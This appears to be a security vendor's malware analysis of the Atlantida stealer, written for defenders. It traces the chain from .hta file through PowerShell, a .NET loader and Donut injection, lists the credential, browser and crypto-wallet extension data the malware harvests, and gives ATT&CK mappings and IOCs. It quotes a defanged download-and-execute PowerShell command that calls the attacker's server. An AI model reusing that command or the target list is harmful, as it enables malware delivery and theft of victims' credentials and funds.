Last updated at Thu, 18 Jan 2024 19:56:56 GMT

Recently, Rapid7 observed a new stealer named Atlantida. The stealer tricks users to download a malicious file from a compromised website, and uses several evasion techniques such as reflective loading and injection before the stealer is loaded.

Atlantida steals a wide range of login information of softwares like Telegram, Steam, several offline cryptocurrency wallets data, browser stored data as well as cryptocurrency wallets browser extension data. It also captures the victim's screen and collects hardware data.

Technical Analysis

Stage 1 - Delivery

The attack starts with a user downloading a malicious .hta file from a compromised website. It is worth mentioning that the .hta file is manually executed by the victim. When investigating the file, we observed a Visual Basic Script that decrypts a hardcoded base64 string and executes the decrypted content:

The decrypted command : “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm hxxp://166.1.160[.]10/loader.txt | iex“ .

Stage 2 - Three levels of in-memory loading

The executed PowerShell command downloads and executes a next stage PowerShell script in memory.

The PowerShell script downloads and reflectively loads a .NET downloader. The .NET downloader is a simple downloader that calls DownloadData API function to get a Donut injector. Donut is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and .NET assemblies. Next, the Donut is injected to newly created “C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe” by using a Remote Thread Injection Technique (aka CreateRemoteThread). This technique works by writing a shellcode into the context of another eligible process and creating a thread for that process to run the payload.

Figure 4 - .Net downloader Main function

Stage 3 - Atlantida Stealer

The Donut injector is used to load a final payload, which in our case is a new Atlantida Stealer. It got its name following the string found in the executable.

First, the Atlantida stealer captures the entire screen by using the combination of GetDC, CreateCompatibleDC,CreateDIBSection, SelectObject and BitBlt API function combination. Next, it checks if a Filezilla (open source FTP software, that allows users to transfer files from a local to a remote computer) recent services file exists. It does that by attempting to open “C:\Users\username\AppData\Roaming\FileZilla\recentservers.xml” if it does, it reads the file. Next, it looks for the following offline cryptocurrency wallets by enumerating the files under the wallet path:

The stealer reads all the files found under the enumerated path.

Next, it collects the victim's hardware data such as RAM, GPU, CPU and screen resolution. The stealer enumerates the user's Desktop folder and reads all text files(.txt). It also looks for Binance wallet credentials by enumerating a `C:\Users\Username\AppData\Roaming\Binance` directory and reading all JSON files under it.

Steam (video game digital distribution service) configuration and credentials are also in Atlantida stealer’s interest as we observed it enumerating the Steam configuration directory and searches for the following files:

  1. Ssfn - Steam Sentry File.
  2. Config.vdf - Steam configuration file.
  3. Loginusers.vdf - stores the records of previously logged-in Steam accounts.
Figure 6 - Steam files enumeration

The last thing that Atlantida is harvesting is Telegram data. It collects all the data located in “C:\Users\Username\AppData\Roaming\Telegram Desktop\tdata”.

The stealer now connects to the hard coded C&C server ( We accessed the hardcoded IP and got to the login page of what we assume is a stealers control panel, which also had an `Atlantida` title.

Figure 7 - Atlantida login page

No data is passed to the C&C server this time and the stealer continues its collection. Differently from other stealers, Atlantida focuses only on three web browsers: Google Chrome, Mozilla Firefox and Microsoft Edge. It steals all stored passwords, cookies, tokens, credit cards and autofills.

One of the notable functions of Atlantida stealer is its ability to steal data from Chrome-based browser extensions. For each Chrome-based extension, an “Extension ID” is given. The malware uses this information to harvest data stored within. Atlantida harvests data from the following cryptocurrency wallets extensions:

Extension Name Extension ID
Metamask nkbihfbeogaeaoehlefnkodbefgpgknn
Sollet fhmfendgdocmcbmfikdcogofphimnkno
BNB chain wallet fhbohimaelbohpjbbldcngcnapndodjp
Phantom bfnaelmomeimhlpmgjnjophhpkkoljpa
Metawallet bkklifkecemccedpkhcebagjpehhabfb
Yoroi ffnbelfdoeiohenkjibnmadjiehjhajb
Nami lpfcbjknijpeeillifnkikgncikgfhdo
Flint hnhobjmcibchnmglfbldbfabcgaknlkj
CardWallet apnehcjmnengpnmccpaibjmhhoadaico
Guildwallet nanjmdknhkinifnkgdcggcfnhdaammmj
TronWallet pnndplcbkakcplkjnolgbkdgjikjednm
CryptoAirdrops dhgnlgphgchebgoemcjekedjjbifijid
Bitoke oijajbhmelbcoclnkdmembiacmeghbae
Coin89 aeachknmefphepccionboohckonoeemg
XDefiWallet hmeobnfnfcmdkdcmlblgagmfpfboieaf
Keplr dmkamcknogkgcdfhhbddcghachkejeap
FreaksAxie copjnifcecdedocejpaapepagaodgpbh
Oasis ppdadbejkmjnefldpcdjhnkpbjkikoip
Rabby acmacodkjbdgmoleebolmdjonilkdbch
MathWallet afbcbjpbpfadlkmhmclhkeeodmamcflc
NiftyWallet jbdaocneiiinmjbjlgalhcelgbejmnid
Guarda hpglfhgfnhbgpjdenjgmdgoeiappafln
EQUALWallet blnieiiffboillknjnepogjhkgnoapac
BitAppWallet fihkakfobkmkjojpchpfgcmhfjnmnfpi
iWallet kncchdigobghenbbaddojjnnaogfppfj
Wombat amkmjjmmflddogmhpjloimipbofnfjih
MEW CX nlbmnnijcnlegkjjpcfjclmcfggfefdm
GuildWallet nkddgncdjgjfcddamfgcmfnlhccnimig
Saturn Wallet cphhlgmgameodnhkjdmkpanlelnlohao
CloverWallet nhnkbkgjikgcigadomkphalanndcapjk
LiqualityWallet kpfopkelmapcoipemfendmdcghnegimn
TerraStation aiifbnbfobpmeekipheeijimdpnlpgpp
AuroWallet cnmamaachppnkjgnildpdmkaakejnhae
Polymesh Wallet jojhfeoedkpkglbfimdfabpdfjaoolaf
ICONex flpiciilemghbmfalicajoolhkkenfel
NaboxWallet nknhiehlklippafakaeklbeglecifhad
KHC hcflpincpppdclinealmandijcmnkbgn
Temple ookjlbkiijinhpmnjffcofjonbfbgaoc
TezBox mnfifefkajgofkcjkemidiaecocnkjeh
CyanoWallet dkdedlpgdmmkkfjabffeganieamfklkm
Byone nlgbhdfgdhgbiamfdfmbikcdghidoadd
OneKey infeboajgfhgbjpjbeppbkgnabfdkdaf
Leaf Wallet cihmoadaighcejopammfbmddcmdekcje
BitClip ijmpgkjfkbfhoebgogflfebnmejmfbml
NashExtension onofpnbbkehpmmoabgpcpmigafmmnjhl
HyconLiteClient bcopgchhojmggmffilplmbdicgaihlkp

When the stealer finishes the collection, all data is compressed and sent to the C&C server. Then the malware exists.

Rapid7 Customers

For Rapid7 MDR and InsightIDR customers, the following Attacker Behavior Analytics (ABA) rules are currently deployed and alerting on the activity described in this blog:

  • Suspicious Process - MSHTA Spawns PowerShell

MITRE ATT&CK Techniques:

Tactic Technique **Details
Execution User Execution: Malicious File (T1204.002) A user downloads and executes malicious .hta file
Execution Command and Scripting Interpreter: Visual Basic (T1059.005) .hta contains malicious VBScript function
Execution Command and Scripting Interpreter:Powershell (T1059.001) VBScript executes powershell to download powershell script
Command and Control Ingress Tool Transfer (T1105) A powershell script downloads an additional .Net Loader
Defense Evasion Reflective Code Loading (T1620) Powershell script executed the loader reflectively
Defense Evasion Process Injection (T1055) The .Net loader injects into RegAsm.exe process
Credential Access Credentials from Password Stores: Credentials from Web Browsers (T1555.003) Atlantida steals stored browser data such as passwords, cookies, tokens, credit cards and autofills
Credential Access Credentials from Password Stores (T1555) Atlantida steals offline cryptocurrency wallets data, and other software data
Discovery System Information Discovery (T1082) Atlantida collects victim’s hardware information
Collection Screen Capture (T1113) Atlantida captures victim’s screen
Exfiltration Exfiltration Over C2 Channel (T1041) Atlantida exfiltrats all collected data


IOC SHA-256 Notes
ReadEra_v1.4.2.hta 67b8776b9d8f581173bcb471e91ff1701cafbc92aaed858fe3cb26a31dd6a6d8 Malicious .hta file
http://166.1.160[.]10/loader.txt Malicious powershell script
http://166.1.160[.]10/www_c.bin f935143dba2fb65eef931c1dac74a740e58e9e911a13457f4cfa4c73a0c673b3 Stores .Net Loader
http://166.1.160[.]10/www.bin 350216884486d1fafbd60e1d9c87c48149b058e4fab6b9a2a5cd7ea67ab250a0 Stores Donut shellcode
AtlantidaStealer.exe b4f4d51431c4e3f7aeb01057dc851454cff4e64d16c05d9da12dfb428715d130 Atlantida stealer
45.144.232[.]99 C&C server